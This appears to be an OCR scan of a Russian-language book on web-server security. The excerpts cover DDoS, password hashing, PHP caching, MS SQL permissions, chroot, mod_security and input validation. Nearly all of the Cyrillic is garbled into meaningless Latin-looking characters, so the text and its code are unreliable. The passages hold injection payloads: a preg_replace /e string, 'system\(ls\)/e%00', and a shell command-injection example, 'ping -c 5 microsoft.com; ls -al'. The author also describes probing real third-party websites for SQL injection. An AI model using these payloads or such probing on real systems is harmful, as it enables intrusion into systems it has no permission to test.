3axsatoM. Tak, supyc Mydoom C uckan kOMNBIOTEpEI, 3apaXKeHHbIE BUPYCAMK
Mydoom sepcuii A ¥ B, 1 HChONb30BAN MX /T4 aTaKH HA CepBepbl KOPTIOPALMK
Microsoft. Biaro 3ot BHpYC He CMOF 3aXBaTHTh AOCTATOYHOTO KONA4ECTBA Ma-
UIMH, ¥ MOLHOCTH HE XBAaTHIO 15 NPOBEASHHA NOTHOLUEHHONG HaneTa. AAMAHK-
crpaunsa Microsoft yTeepinana, 4to cepsepsl paboTani B WTATHOM PEXHME, HO
HEKOTOPBIE BCe Xe CMOMTH 32MeTHTD 3amesieHse B paGoTe M 3aepiKKH B nonyye-
HUK OTBETOB Ha 3anpockl. Bee xe Ha ceth Microsoft merna kakaa-To 4acTh H3-
JMLIHETo TpaduKa.

Or pacnpeueneﬂnoﬁ ATaKK¥ 3ALXHTHTECH OYE€Hb CNOXKHO, NOTOMY YTO MHOMXKECTBO
peanbHO paGoTaIoNIMX KOMMBIOTEPOB LLTIOT CBOH 3anpochl Ha OAHH cepeep. B aToM
Cyyae TPYJHO OMPENENHUTh, HTO 3TO MAYT NOXKHBIE 3aNpOck! ¢ LENbIO BBIBECTH
cucTeMy M3 pabouero coctoanma. [1oatomy 3aech IphEKTHBHOE pelleHHe npei-
TIOXKHTb OUEHb CIIOKHO.

1.8. Mporpammel Ana noaéopa naponen

Koraa BanoMuIMK fbITaeTCs NPOHHKHYTH B CHCTEMY, TO OH Hallle BCEro HCnob3ay-
€T OfiH U3 CREAYIOLIMX CrlocoGos:

J ecnn Ha aTakyeMOM CepBepe Y HEro y)Ke eCTh y4eTHad 3anMch (ITyTh U rocre-
Bas), TO MOXHO NONbITATLCA NOAHATH ee npaga. Jlif 3TOTO HCMONb3YIOTCA IKC-
RNOMTbI, cM. paso. 1.3.

O nofy4uTh YHETHYIO 3aNHCh KOHKPETHOO NOAb30BATENS;
O nobbITs daiin naponeit ¥ BOCNONL3IOBATLCA HY)KHMH YUETHBIMH 32IHCAMK,

Jlae eClTi BIAOMIILMK NOBBILIAET CBOH NPaBa B CHCTEME, OH BCE PABHO CTPEMUTCA
ofpectd xocTyn x $aiiny ¢ DapoNiaMM, NOTOMY HTO ITO HO3BONKT nobparees A0
yuernoii 3anucu root (ana UNIX-cuctem) # nonyurts nofwble npasa. Ho naponu
2a1tNGPOBRHBI, H B fyHilleM Cy4ae MOXHO GyJeT yBUACTh Xel-CyMMbl, KOTOpbie
ABIIAIOTCA Pesy/nbTaTOM HeoGpardMore wigposatus napons. B OC Linux wmd-
pOBaHHe uallle BCErc NPOHCXOAHT N0 atroputmy MDS.

Korsa anMUHUCTPaTOp 3aBOANT HOBOTO MONL30BATENS B CHCTEME, TO €ro naponb
ualle BCero WHGPYeTCs ¢ MOMOLILIO anroputma MDS, KOTOPLIA He MOANEKHT
neunbposke. B pesynpTate nomyyaerca Xel-CyMMa, KOTopas coxpansercs s datine
naponedt. Kora nonsiosaTe/ls BBOZMT Napofib, TO OH Takke MHOPYETCA, H pe-
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or die ("Can't write cache"):;
fputs ($cf, $CacheData);
fclose ($cf);
@chmod ("cache/$CacheName.htm", 0777};

// OchHomHoMt kom Web-cTpamyuml
if (ReadCache("MainPage"}==1}
exit;

ob_start();

print {"<CENTER><B>TnaBHaa Web-crpamiuac/B></CENTER>") ;
print ("<P>3ro recrosas Web-crpamnua®);
wWriteCache("MainPage”, ob_get_contents(});
ob_end_flush();

>

OcHOBHOM KOA CLeHAPHA HAYHHAETCA C 3anpoca 3arpy3kd Web-crpasuub uz k3-
wa. JIng 3T0r0 ¥ HaC B ICTHHIE CO31aHA QYHKIMA ReadCache, DyHKLMY Nepena-
eTca uMA $aiia, KOTOPLIH HyXKHO 3arpY3HTb, BENb B KILE MOTYT GbITh COXPAHEHBI
u apyrue Web-crpanuust. B gansom cayvae noapasymesaeM, Yro cueHapuii gop-
MupyeT rnasuyto Web-crpannlly ¢ umeneM Mainbage, U HMEHHO 3TO 3HAUEHHE MBI
TiepenacM B KaueCTae napaMeTpa.

JlaBaiiTe Teneph NOCMOTPUM, HTO MPOUCXOXHT B YHKUHUH ReadCache. 31ech y Hac
FIPOUCXORMT NPOBEPKA HA CYmeCTBoBAHKE daiina ¢ ykalanHbiM UMeHem. Ecin Ta-
Kol Gaisi CymecTsyeT, TO OH NOMKMOYAETCS ¢ NOMOMBIO require, M (YHKUHS
so3spawaer suauenue 1. Jlaa npumepa s ellie BRIBOXKY Ha JKpaH coobweHHe
© ToM, 4To 3Ta Web-Crpanuia Gbinta B3aTa M3 Ka1wa, 4ToGbl Bl BUACTH Pe3yNbTaT
paGoTsl.

BepHemca k ocHoBHOMY Kkoay. Ec/u diyHkumsa ReadCache BepHyna 1, To BhnOMHE-
HHe cueHapus npepeisaerca. Her cmbicsia TpaTuTh BpeMa Ha dopmuposarue Web-
CTPanKLLbY, €CTH OHA GLITA BAATA U3 KO,

Jlanee, BHNOAHAEM (YHKLMIO ob_start, 4TOGbl HauaTh K3WMPOBAHHE BhIBOJA,
v HauMHaem (opmuposats Web-ctpannwty. [lepen TeM kak Bb3BaTh ob_end_flush,
HeOBXONHMO COXPAHWTL CONAEPXMMOE CreHepHpoBanHoN Web-cTpanuusl, KOTO-
PYIO MOXKHO MONYYHTb ¢ MOMOWbBIO ob_get_contents. 1 COXPaHeHHs KA
B Hallem CLeHAPHM CO318HA (YHKUMA WriteCache. EH HykHO nepefats wms,
110 KOTOPOMY OnpenenseTca uma akna kowa. Bropo# mapametp — 310 naHHwe,
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Puc. 3.11. Mpamep cogeprumoro Cookies anm Gpaysepa Morilla

3.4.5. Mununannaauma nepemMeHHbIX

Cnenyromas npo6rema TaKOKe 0CHOBAHA HA ABTOMATHYECKOH perncTpauyy mepe-
MEHHBIX: €C/IH KAKAA-TO NEPEMEHHASA HE UMEET 3HAUCHHA N0 YMONUAHHIO, TO XaKep
MOXET HCIONB3OBATH €¢ B CBOUX uensx. /laBaiTe MOCMOTPUM Ha NPUMEP CLeHa-
DPHs1, IPHBEIEHHOTO B UCTHHre 3.8.

<HEAD>

<TITLE>Param test</TITLE>

< /HEAD>

<BODY>

«center><h3>Param test</h3></center>

~hr>

~form action="paraml.php’ method="get">
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Jlns paGoThl ¢ AUCKOM MOXKHO BBUIGTHTS CeAYIOIIME IPOUEYPhI:
0 xp_availablemedia;

O xp_fileexist;

0 xp_dirtree.

Tepeas u3 3TuX IPOLEYP BO3BPAINAET JOCTYTIHBIE YCTPOHCTEA, BTOPAA Onpenens-
€T HanMuMe yKazauuoro datina s CHCTEME, A TPEThA NOAYHAET HEPEBO KATANOTOB.
51 He paccMaTpHBalo Bee 3TH npouesypbl Gosee moaPOBHO TOMLKO NMOTOMY, YTO
AAMHHHCTPATOpPL! §a3 NAHHBIX, KOTOPLIC YHTAIOT 3TY KHHIY, JOMKHbBI 3HATH HX
HasHauesue, a ecnd agMUaucTpuposanie MS SQL Server He BXOAMT B Ballly KOM-'
NETCHUHIO, TC HE3HAKUE y6epeme’r Bac OT coffa3Ha BOCIONBL30RATECA HMH.

Bce paccMOTpEHHBIE TPOLECAYPEl HO/KHBI ObITh 3RIPSIUEHBI ANTA BLINONHEHUS,
€ IpaBaMHU YYETHOI 3aIUCH, TOA KOTOpO# paoTaioT Ballk cueHapuy. H oTo ane-
KO He NOJHBIA CNUCOK, €CTh €lNe MPOUEAYPbl CO3NAHMUA, YNIDABICHUS U yHANCHUS
poneli, OT KOTOPBIX 32BMCAT IIpaBa A0CTyna. Y706k He OWMGHTLCA, BB JOMMKHBE
3aMPeTHTH BCE M PA3PEIINTL HOCTYN ABHO TONBKO K TEM, KOTOPBIE HCMONb3yeT Ball
cleHapyit.

6.2.2, PacnpegeneHve npaB gocTyna

Ho ece 3anpetn GynyT GeccMbicaeH I, €CAH IPOCTOMY MONbIOBATENIO PA3PELICHG
BBINOTHEHHUE ONIEPATOPOB GRANT, REVOKE WM DENY. C IIOMOWIBIO 3THX OTIEPATOPOB
MOHO JABaTh WTH CHUMATH NPABa, a TAIOKE 3aNpellaTh A0CTYN.

Jns HasHaueHds PAsPElAIMMX MPas NOCTYNA MCTIONb3YeTCs OrlepaTop GRANTY
BY/ KOTOPOTO 3ABUCHT OT TOIO, HA 4TO BRIZENAOTCA mpasa. Ecan Ha omepatopl)
TO GRANT BHITIANT CAEAYIOUUM 06pazom:

GRANT { ALL | statement [ ,...n ] }
TO security account [ ,...n ]

Oneparopst SQL, Ha KOTOpbIE Bbl MOXKETE Ha3HAUATH TIPaBa JOCTYNa AN NOML30-
BaTena:

C] CREATE DATABASE;
) CREATE DEFAULT;
) CREATE FUNCTION,
CREATE PROCEDURE;
CREATE RULE;

CREATE TABLE;

oooao

CREATE VIEW;
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3/1ech HOBbIH KaTanor, s npuMepa Hazosem ee chroot, 1 oH GyzeT KOPHEBBIM AN
cayx6bl. B Hem Gyayt csom xatanoru /bin, /ust u T. . v ciyxGa Gyner paGorarh
© HUMH, a Bce, 4To Bblie /homefchroot, Gyaer mia Hee HegoctynHo. Ipocto
ciyxGa Gyaer cunTath, 4To /home/chroot — 310 1 ecTb kopeb (ailnoBoi cHCTeMbI.

Ha puc. 1.6 B pamky ofBeneHb! nankn, koropble GyayT suans! cnyxGe. Hmenno
B 3TOM npocTpaHcTe Gyaer paboraTh cmyxba M ByneT CuMTaTh, uTO 3TO K €CTh
peanbHan dalitosan cHCTCMa Cepaepa.

Ec/4 Xakep NPOHHKHET B CHCTEMY Yepe3 3awMlleHHylo cyxCy 1 3axoueT npo-
CMOTpeTs Katanor /etc, To oH yBuauT /home/chroot/etc, HO HUKaK HE CUCTEMHBINA.
Yrobbl BINOMUIMK HUYETO He 3anoaospws, B karanore /home/chroot/etc MoxHo
PacnonokHTh BCe HeOGXOAHMBIE (aliibl, HO COAEPHALLME HEKOPPEKTHYIO HH{OP-
Maupto. Banomimuk, 3anpocus dadin /etc/passwd yepes yassumyio ciyx0Oy, notyunTt
Aocryn k fhome/chroot/etc/passwd, noTomy YTo Cy:KBa BHAKT €T0 CUCTEMHBIM.

Tak, Hanpumep, daitn /home/chroot/etc/passwd MOXeT colepaTh HeBepHEle a-
poni. Ha paGoTy cucTeMbl B Lie/TOM 3TO He NOBHACT, NOTOMY 4To cucTema Gysxer
Oparb naponu w3 ¢aina /etc/passwd, a crmyxGe peanbHbie NaposiH CUCTEMBI HE
HYXHBI, 1103TOMy B (haiin /home/chroot/etc/passwd MOXHO 3aCyHyTb YTO YFOAHO.
Bonee noapoGHyto nHdopmaLiio o HacTpolike okpyxerHs chroot cum. B kiHre [2].

1.10.2. Mogynu 6esonacHocTu Apache

Jins 3aliuThl HEOGXORUMO NO MAaKCUMYMY MCOONL30BATh BCE BOIMOXHOCTH. Ha-
npHmep, ecnu B kadecTBe Web-cepsepa Bl nenonbsyere Apache B ceaske ¢ OC
Linux, To MOy NOCOBETOBATH PAacilMPUTh €ro BOMOMXHOCTH C NIOMOLLBIO ZONON-
HUTENbHBIX MOAY/ICH, BOSMOXHOCTH KOTOPbIX Mbl KPaTKO PRCCMOTPHM.

Moayns mod_sequrity

HecMOTpa Ha TO, 4T0 6e30NaCHOCT: B OCHOBHOM 3aBHCHT OT CLIEHAPHEB, KOTOpbIE
BLINOAHAIOTCA Ha Web-Cepaepe, H NPOrpaMMUCTOB, KOTOPhIE HX NWLLYT, ECTh BO3-
MOXHOCTh 3aLLUMTHTACA BHE 3aBHCHMOCTH OT clieHapueB W WX BesonacHoctu. Ot-
NMyHOE pellieHHe aaHHON npoBrembl — GecniaTHbiit MOpynb Mid Apache nox
HassaHueM mod_security.

TlprHUMN PaGoThi MOZYSS CXOXK C CETEBBIM IKPaHOM, KOTophit BcTpoeH B OC,
TONLKO B IAHHOM C/Ty4ae OH CMELMAbHO pa3paboraH Ana paGoTel ¢ NPOTOKONOM
HTTP. Monynb aHann3HpyeT 3anpochl NOML30OBATENEH W BLIHOCHT CBOE PELICHHE
© BO3MOKHOCTH NponycTHTS 3anpoc k Web-cepsepy WM HET, Ha OCHOBe npasun,
KOTOpbie 3aaaeT aaMUuMcTpaTop. [lpasuna onpegenstoT, 4To MokeT GLTh B 3a-
npoce, & 4T0 HeT.
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DoS-araka Ha Web-cauT

Korna naiirn owmbky B cueHapuax Web-calita He ynaeTcs, Xakepbl HaUuHAOT
npuberaTk K ApyruM MeTofiaM, B HacTHOCTH, DoS-atake. Mbl yke roBOpPHIH O Hell
pauee (cum. pasd. 1.7), a cefiuac paccMoTpuM Gonee noapoGHO: MbI YBUIHM, Kak
C €€ IOMOLIbIO MOXKHO CHeNaTh Web-cepBep HEAOCTYNMHBIM MAH MAKCHMAIIbHO 38~
TOPMO3UTH €ro padoty.

8.1. [lonro BbinonHsAOLMEcS SQL-3anpocbl

Korma xakep nwer uenb paa oprammsauuy DoS-araxn, oH BuiGupaet Te Web-
CTPaHUUE!, KOTOPLIE 3ArPYKAIOTCA OUEHB JONI0, YTO FOBOPHUT 00 KUX MJIOXOH OMTHMU-
3aump, T. €. 106k Web-cepsep Mor 0TOGPasHTL HEOOXONMMBIE NAHHBIE, EMY NPUXO-
JUTCA OCYLUeCTBUTD MHOXKECTBO onepauuﬂ, CHJTbHO 3arPy>KAIOLLKX MTPOLECCOp.

TMporpaMMHKCT, nUiymuit 3anpockl Ha SQL, K0MXKeH PEKPACHO TOHUMATE NPUH-
uunsl paboter CYBJI, ¥cnonb30BaTh Bee ee IPeMMYINECTBA W CTapaThed Haberats
HEAOCTATKOB.

PaccmoTpum oty npobnemy wa mpumepe. Ha moem Web-cepsepe ucrionbsyercs
caaska PHP + MySQL, ana kOTOpOH HAaMMCAHO MHOXECTBO CUEHApHER, B TOM
uucne v opym. Panbine na ceoem A Hcnonsiosan phpBB, wo nocne Toro, kak oK
Gbisl HECKOMLKO Pa3 B3/OMaH, 5 PEIM/ NONHOCTLIO NEPEHCATh €T0, T. K. NOCTO-
AHHO CAENKWTb 33 BHIXOAALMWMH OHOBRCHHAMY 5TOTO (opyma MHe GHINO JieHb.
Jlabb! He NOTEPATH BCE TO, YTO HAKOMANOCH B Gaze JaHHEIX, 4 OCTABKN CTPYKTYpPY
TabAwIL CO BCEM €ro COAEPKHAMBIM U TIEPEnica BCHO NPOTPAMMHYIO HacTb.

Crpykrypa Gassl mauHbix dopyma phpBB oueHb xopowo nponymana, mostoMy
ocTasi 4 ee He 3pa. Ho npu paBoTe He yues omuH $akT, ToMHee CKa3aTh, 4 €10 He
suan: MySQL ouenb meanenso BumiosnaeT cemsannbe SQL-sanpocs. Hamuoro
BLIFOHEE BLITIONHUTL TP SQL-3anpoca k Tpem TabnuuaM no OTASALHOCTH, Y6M
CBA3ATH MX ¥ BLIMOAHATL BMECTe. BOIMONHO, A 4TO-TO HE MOHUMAIO, 110, PHINGAHE
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O6s3aTentio 3a6nokHpyiiTe AAMHHHCTPAaTHBHYIO yNETHyIO 3alHCh sa, M nywine
Henosesyiite astopusauuio Windows. B MS SQL Server ectb nsa BHaz asTo-
pusaudu:

01 astopusauus Windows — nna nonxmouenus k MS SQL Server ucrionssyerca
yueTnas sanuck Windows. B MS SQL Server 2000 3rot pexxum npeanonaraer-
€4 10 YMOUAHAIO, Kak 6ostee Gesomactbiii;

0 cmeluanHbIH PeXuM — NOMUMO YueTHbIX 3anucedi Windows, Moxet GbiTh co3-
nana yveras sanuck MS SQL Server. DTOT pexuM MCnonbioBaTh HE peKo-
Menayercs,

V kpymibix CYB]] ecTb eme onua npoGnema. Oy GonbilKe ¥ MCXOAHBIH KOA HX
OYEHB CNOKHBIH, 3 3HAYHT, MOXKCT coaepxath owubku. MoueMy moxer? Omubxn
ecTs Besie! B nocneanee BpeMa A JOCTAaTOYHO PEAKO Cribllity 06 oiubkax 8 CYBJY
oT Microsoft, a BoT coscem HeaBHO Heckonbko pas B HutepHere MoxHo 6uio
ycnblwars 06 ya3ssuMocTaX ee npaMoro koHkypenta — Oracle.

T'osops 06 owubkax, 4 He cOGKPalOCE HUKOFO BUCKPEAHTHPORATL. Sl XOuy CKa-
3aTh: He 3abusaiite oGuonaTs nporpammer, enaiite 3T0 cBOEBPEMEHHO, UTOGHI
XaKepb! HE MOT/IH BOCTIONb30BATECA YA3BHMOCTAIO.

Camoe croxHOE Npy moucke owHGok Ha Web-caliTax — BOBPEMA OCTAHOBHTHCH
¥ He HanakocTuTk, Nabbl npoyuuTh Brasenbues. [louemy npoyuuTs? [esio 8 TOM,
YTO A CerogHsa MNpOWEAcs Ne HEKOTOPbIM Web-cav“rrau, TAC A YXe Haxofua
ownbku paHee, U HEKOTODBI€ M3 HUX TaK H OCTANIHCE HE 3aLUHIISHHBIMH, XOTa
OpOLUNO yiKe YeThipe MHA. Buaumo enanebubl NPOHIHOPHPOBAIY MO¢ mpeaympe-
KACHHE. Hanemcs, YTC K BBIXOOY 3TOH KHHUTH OHHM BCE XKE ucnpasaT OI.I.IHGKH, HE
A0XKUARACH, NOKA HMHA BOCITONB3YETCA XaKep.

A caMoe CTPaIiIHOe, YTO A BRIACHWN BO BPEMS HAMHUCAHUA KHUTH, — HE BCE peart-
PYIOT HA MOW MHCbMA. 51 IIPEKPACHO MOHMMAIO, YTO OWMEATECA MOTYT MHOTHE,
Tip¥ DToM BriajeNblUbl Web-CaliToB 4acTeHBKO SKOHOMAT Ha TecTHposanuu. Ho
HAN0 ke HCTIPABNATE CBOH OWMBKH, KOTAA BAM HA 3TO YKa3biBAIOT. Sl TOXe HHOTAR
ownbaoch, HO 8 PEryASPHO NPOBEPAIO TIOYTY U CTAPaKOCh GLICTPO pearuporaTh Ha
Ao6bie coobuierns 06 ownubkax. Jla v TECTHPOBAHUIO CBOHX paboT 4 yaeasio He
MeHblle BpeMeHH, yeM paspaboTke. Hazelock, YTO 3Ta KHMra MOMOXET BaM Mo+
HATb BCIO OMIACHOCTH OLIMBOK, U Bel He GyneTe HX HrHOPHPOBATL.
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OT0 perynspHoe BuIpaXcenue NOXMKE HA MPeIbIAYLLEe, HO UMEIOTCA U HeGonkLIHe
oTnuuus. Jasalite pasGepem ero no vactam:

0 ~(la-zA-20-9\._-]+ — B Hau@le CTPOKK A0 cMMBona "@" uaer ums monb3o-
BaTe/ls FIOYTOBOTO AUMKA. 34eCk MOTYT 6biTh MOBbIE PaspellieHHBIE CHMBONEL,
HO NPY 3TOM HX He JOSHKHO 6bITh MeHBILE OHHOTO, MTO3TOMY B KOHUE MNPUCYT-
CTBYeT cumson "+";

O (a-2R-20-9\._-)+ — MM TIOYTOBOTO CepBepa, KOTOPOE HACT NOCTE CHMBOAA
"@", IONUMHACTCA TeM XKe TPABUAAM, 4TO W WM NOAL30BATENS, TIOITOMY 3Ta
4aCTh COOTBETCTBYET MPEAbIAYWEH;

0 (\.la-2A-20-9]+)*$ — WM a0OMeHa. 3nech MOryT GuTe uudpb W GyKsbl.
B HurepHete mbi paoTaem ¢ GyKBeHHbIMH HMEHAMH JOMEHOB, HO B NOKa/lb~
HBIX CETAX HHOTAA BCTPEUAIoTCA v Ludposkie. TIpi 3TOM MMA ToMeHa ABNAETC
He 00693aTeNIbHEIM, O YeM MOBOPUT CUMBON "*".

Kax BuauTe, Bce AocTaTouso npocto. [MasHoe, NpasHbLHO HAMHCATE PEryaspHOE
BIpaXKeHHe, H Bl HabasuTe Ce6a OT MHOxecTBa npobiem. Ho He 3aGripaiiTe Tita-
TENLHO TECTHPOBATL CBOH CUEHAPHH, 10TOMY 4TO OWMGHTLCA B TAKOH KOHCTPYK-
LMY IOCTATOYHO JErko, a HaiTH oLnbKy — ApobneMaTHUHO.

Koneuno, He Bce A3bIKM MPOrPAMMHPOBAHUS AOMNEPKUBAIOT PEryNspHbie BhIpa-
skeHUs. B 3TOM Criyvuae Bbl MOXETE BOCAONLIOBATHCS NPOCTEHIMY (QYHKUMAMHA [0~
MCKa BHYTPH CTPOKY M 3aMeHbIl, yNaneHHA ONaCHLIX CHMBONOB MY NPOCTO Apeay-
APEKAATL MOJB3OBATENR O BO3MOXHBIX Ipofnemax.

Yo cnexyer BuIGpaTh: yAaleHHE ONACHKIX CHMBOAOB M NPOAO/KEHUE BLINONHE-
HYS CtieHapUs wiK coobinenvie o6 owmbke v HeMeUTeHHOE NpephiBaHye paGoTh?
BTopo# BapuaHT HAMHOTO MpoIle W 4auie Beero i BhIGUpao umenHo ero. Ecmu
AaHHble HEKOPPEKTHBI, TO NPOWE [POCHTHATHIMPOBATE O'HENPABUILHOCTY BBOAA,
HEM MbITaTbCA NPHBECTH MX B HAANEXKALUMH BI, HTO, B CBOK OHEPE/Ib, MOXKET M10-
POAUTE HOBBIE OLIUGKH.

Hos HEKOTOPLIX CAY4asX HAMHOrO fy4ule [ONpOCHTE NONL3OBATEAN BBECTH NaH-
HbIE IOBTOPHO. Z[eno B TOM, 4TO ownbka MoxkeT GbITh CAENaHHOMH He CNieHAIBHO,
a cny4aiino. JIonycTHM, 4To nonb3oBaTens 3anonnan Gopmy Ans perucTpauui na
Web-caiite ¥ B MMEHH NONbIOBATENS WIH napone ykasal CHUMBOJ, KOTOPbIH Bbl
pewnnay 3anpetuTs. Ecav npocto coobumts of ownbke, To, BOIMOKHO, NOBTOPHO
3ar0NHATE AaHHbIE NONL30BATENb YKE HE CTAHET, 0C063HHO, €cnu q)OPMB noCTa-
TouHO Gonbllas ¥ COACPXKUT MHOKECTBO NAPAMETPOB, He TNIONEHHUTECH, a8 caenafite
BO3MOXHOCTE MOBTOPHOI'C BBOAA NAHHBIX. OrnﬁpaauTe Ty %€ (hOpMy ¥ 3a1f0NTHATE
BCE NIONS [OJYUEHHBIMY JaHHBIMH. MonbioBarenio OCTaHETCA TOMLKO MOAIIPABUTH
1ICKOPPEKTHO yKa3aHHOS 3HaYeHHE, H Bbl C YCIIEXOM IHONYHHTE HOBOI'G NTOCTORITHO-
10 NOCETHTENA.
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Gopma oToGpaxcaeT ABa TONA BBOAA: KOMAHAA M napaMeTp. 3aTeM NPOMCXOART
NpoBEPKa, €C/iH NapaMeTp command MOAYYCH MCTOAOM GET, TO IPOMCXOAMT €ro
3aMEHA C NOMOLILIO PYHKUAKM preg_replace. B oGluem Bue 372 PyHKUNA BBINTA-
Mt crenyrowmnm obpasom:

preg_replace(pattern, replace, var);

DyHKLMSA ULUET B NapaMeTpe var CTPOKY, COOTBETCTBYIOUIYIO Pery/iApHOMY Bbl-
PAKESHHIO H3 MEPBOTO NAPAMETPa, M 3aMEHACT ¢I0 3HAUCHUEM BTOPOTO MapaMeTpa
replace. Ecvt ykasaH MOAMGHKATOP e, TO Nepel 3aMEHOH NPOMCXONT BbITIONHE-
HUE HaKJEHHOT 0 Koj1a.

A 4TO €C/in XaKep MOXET BO3ACHCTBOBATE HA PEryNAPHOE BIPAXEHUE U CTPOKY,
B KOTOPO#f NPOMCXOIMT NOWCK (nepBoiii ¥ TpeTuii napamerp). Eciu Tpetwil napa-
METp OueHL uaCTO W €CTh FIEPENABACMOE MOJILIOBATEIEM 3HAUCHHE, TO HA MEPBbIH
OH BIIHATL HE RONKEH,

JlasakiTe Teneps paccMOTpHM ClieHapkid W3 JucTHTa 3.14. 3Heck y Hac u B mep-
BOM M B TPETHEM NTAPAMETPE €CTh NEPEMEHHBIE, HA KOTOPbIE BAUSET NONb3OBATEND:
preg_replace("/".$command."/e", "\\1", $var);

A HTO eCllu uepes NapameTp cormand IIEPEATS system (Ls\), & B IAPAMETpE var
nepenatsb system(1s)? [Toyemy B nepsoM cnyyae nepen ckobxamyu CTOAT CAK?
Jleno B TOM, 4T 3HaueHye GyaeT nonaaath B PerynapHoe BLIpaXeHHe, [Ie Kpyr-
Nbie CKOBKA UMEIOT CRELHanbioe 3HaUCHHE, # YTOGH OHH BOCTIPHHUMATUCH MPO-
cT0 Kak ckoGkH, HeoGX0MMO repea HUMY NOCTABHTH CRBIIK. B 5ToM cayuae cue-
Hapuli GyNer UCKATE B var 3HAUCHYUE U3 command, ¥ HAWJIET, IOTOMY UTO B HAILEM
cny4ae 3TW NapaMeTpel KASHTHYHEL A KoTAa GyHKUKA HalineT COOTBETCTBHE, Kol
GyzneT seirionHed. B nannom cayuae B kauecTse kofa Repenaetca PHP-bynxuus
system C KOMaHIoH s, KOTOPaA 0TOGPAXACT COACPIHMOE TEKYLUCH AHPEKTOPHH,

Ycnoxuum 3amady. JIOMYCTHM, YTO B PEryNapHOM BLIDRKEHHH HCTONb3YeTCS MO-
AudHKaTOp i, KOTOPBIH HUUETO HE BLINONHAET:
preg_replace(’/". $command."/i", "\\1*, $var);

Kpacuso, HO Toxe He GE30MaCHO, NOTOMY HTO B PErYNAPHOM BbIDOKEHHH BCE €l
HCTIONb3YETCA NepeMelHas, colepskalllas MoNb30BATENbCKHE AalIHbIC, KOTOPas He
nojaeepraeTea Aposepke. B napametpe command nonpoGyem nepenats ceayowes
BhIpAKEHYE!

system\ (1s\)}/e%00

JlapaiiTe paccMOTPUM 3TO BLIPAKEHHE BHWMaTenbHeE, Jlna 3Toro s pasbun ero Ha
TPH 44CTH M BBIAEAKN UX Tpobesiamu:
system\ (1s\) yre %00

Meppas uacTh — 5TO KOManaa, KOTOPYIO Mbl TiepeiaBalik W B NpoLuibili pas,
¥ ee HeoBX0AMMO BLIMONIINTS, Bropas yacTh 3aKpbIBaeT PErynspioc phipakeHue
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VoKe RABHO MIBECTHO, HTO Ha GOMLLIEH HACTH CEPBEPOB (10 PASHBIM HCTOHMKAM
ot 70% po 90%) owHGKK He YCTPAHSAIOTCA, WIH YCTPaHAIOTCA, HO ¢ GOABIIMMH
sanepkkamu (00s4H0 mocne Baoma). Tlostomy nposepsiite Bee HaiacHHbie
OWHBKK Ha XEPTBE, BOIMOKHO, YTO-TO H cpaboTaeT.

el e ettt bt
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Sk Faduta Fiurdn e i
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Puc. 1.1. Web-cait www.securitylab.ru

Tocne nosienenns HoBoi yassuMocTn Ha Web-calite www.securitylab.ru Tyt xe
101 3TOH HOBOCTBIO pasropaeTca GypHoe obCyXaAeHHE TOTO, KaK ee MCTOILb30BATE
W rie B3ATb HeOoGXOAMMBIN 3KCTIIOHT (IPOrpaMma, NO3BOMAIOUIAA MCIIONLIOBATh
YAIBAMOCTb, MHOTAZ €€ HA3LIBAKOT cnnouT). C NpakTHHeCcKoH TOuKH 3peHus, Web-
caliT XopowwH 1 HyxHslif. Koraa 1 ucnone3opan Ha ceoem Web-caitte pacnpo-
cTpaHeHHble Gopymbl THna phpBB, To Gnaronapa www.securitylab.ru onepatusHo
y3Haean 06 yA3BMMOCTAX W 9alle BCETO YCHEBAN YCTPAHATh HAMAEHHbIE OLWHOKH.

C Jipyroii cropoHbi, Ha GOpYMe FyseT OueHb MHOTO CKPUNTKUALH (NIORH, KOTO-
Ibie HCTIONIL3YIOT JUTA BI/IOMA HYIKHE MPOrPaMMEL, HALLIE BCETO 3TO MO/IoALIE pebata,
KOTOPBIC TONBKO XOTAT CTaTh XaKEPaMH), OT KOTOPbIX HACTO CILIUATCA BhICKA3LI-
NUHHR THA: "HayuuTe MeHR NCTIONBIOBATL 3Ty YAIRHMOCTL". A BEjlb CCH HIYMAT,
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NONB30BATENEM ClieHapHio nauueie. IlonpaoBaTens gomken BBecTi B GopMy agpec
KOMITBIOTEPA, ¢ KOTOPBIM HEOOXONHMMO NPOBEPHTD CBA3b, K B PE3YJILTATE MBI YBU-
JIHM TO, YTO NOKA3aHO Ha puc. 4.2.

2188 1.1 6(84) bynes of a5 192 168 11 g saisicsc 2 5
G eeceived A000% paciketfose, tras 398 . .

Puc. 4.2, PeaynbTaT BLINONHENNA KOMaHas ping

Ha nepeetit B3rnan Bce xopouwro u Geonacuo. Ho 310 TOABKO ecau nonbsonarenb:
6yner yxaspisath IP-aipec WK WMA KOMITBIOTEPA WM HUYETO APYroro. A uT0 APYroe|
MOXET NepeaTh IMOYMBIIEHHAK? A OH MOXET nepeaaTh ApyTyio komanay, Je-!
10 B ToM, 4o OC Linux MOXeT BEHITIOMHATL HECKONBKO KOMaH nonpsa. Bul of-
HOM CTPOKOW MoskeTe Mepefath JABe M Gonee KOMaHIbI, MOCTABHB MEXIY HHAMH '
B KauecTBE pasfenuTeNs TouKy ¢ 3ansTol. Hanpumep, Taxum 06palom MOXKHO Bet-
TIONHHTS ABE KOMAHLE — ping M NPOCMOTP TeKylel TMPEKTOpHH:

ping -¢ 5 microsoft.com; 1s -al

3ra crpoka Gyaer pa3tuTa Ha 1Be KOMaHAM!: ping -¢ 5 microsoft.comi ls -al.
M ofe 3T koManap GyAyT BbINONHEHBI CHCTEMOW, 3 PE3Y/LTAT Bbl YBUAWTE HA
3KpaHe.

Ecnu y sac ecte Web-cepBep, Ha KOTOpoM MOXHO mnpoTectuposars PHP-
cLeHaphy, TO 3arpyauTe Tya dain w3 auctunra 4.1 v nonpoSyhite nepenats ue-
{pe3 nona BBOAa CTPOKy "microsoft.com; Is —al”. BysyT Bbinossennsl ofic koManabL,
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Kak a yxe cKka3al, C TOUKH 3peHHs BaloMa 3ToT Web-caliT Mens H¢
3AMHTEPECOBAN, XOTA YHHYTONKHTE €F0 MOXKHO Gbio B ABa cueta. BmecTo sTor0 5
TPONOMKMA NOMCKH yero-To Gofiee WHTepecHoro. M 210 mHTepecHoe Ht
3acTaBiio ©e0f NoAre JKAATh, NMOTOMY HTO A HATKHyAcA Ha Web-cain
www.socceramerica.com (puc. 6.5).

Puc. 6.5. Web-caiiT www.socceramerica.com

He monro aymas, s Been cnoso "test” v OAMHApHYIO KaBbiHKy B mone noucka. Ile-
peno MHOH MoABMIach ownGKa (PHC. 6.6), a 5TO TOBOPHT O TOM, 4TO MHE yAAIOCH
NOBNMATL HA HCNONL3yeMbLH cueHapuem SQL-3ampoc Tak, 4to MS SQL Server e
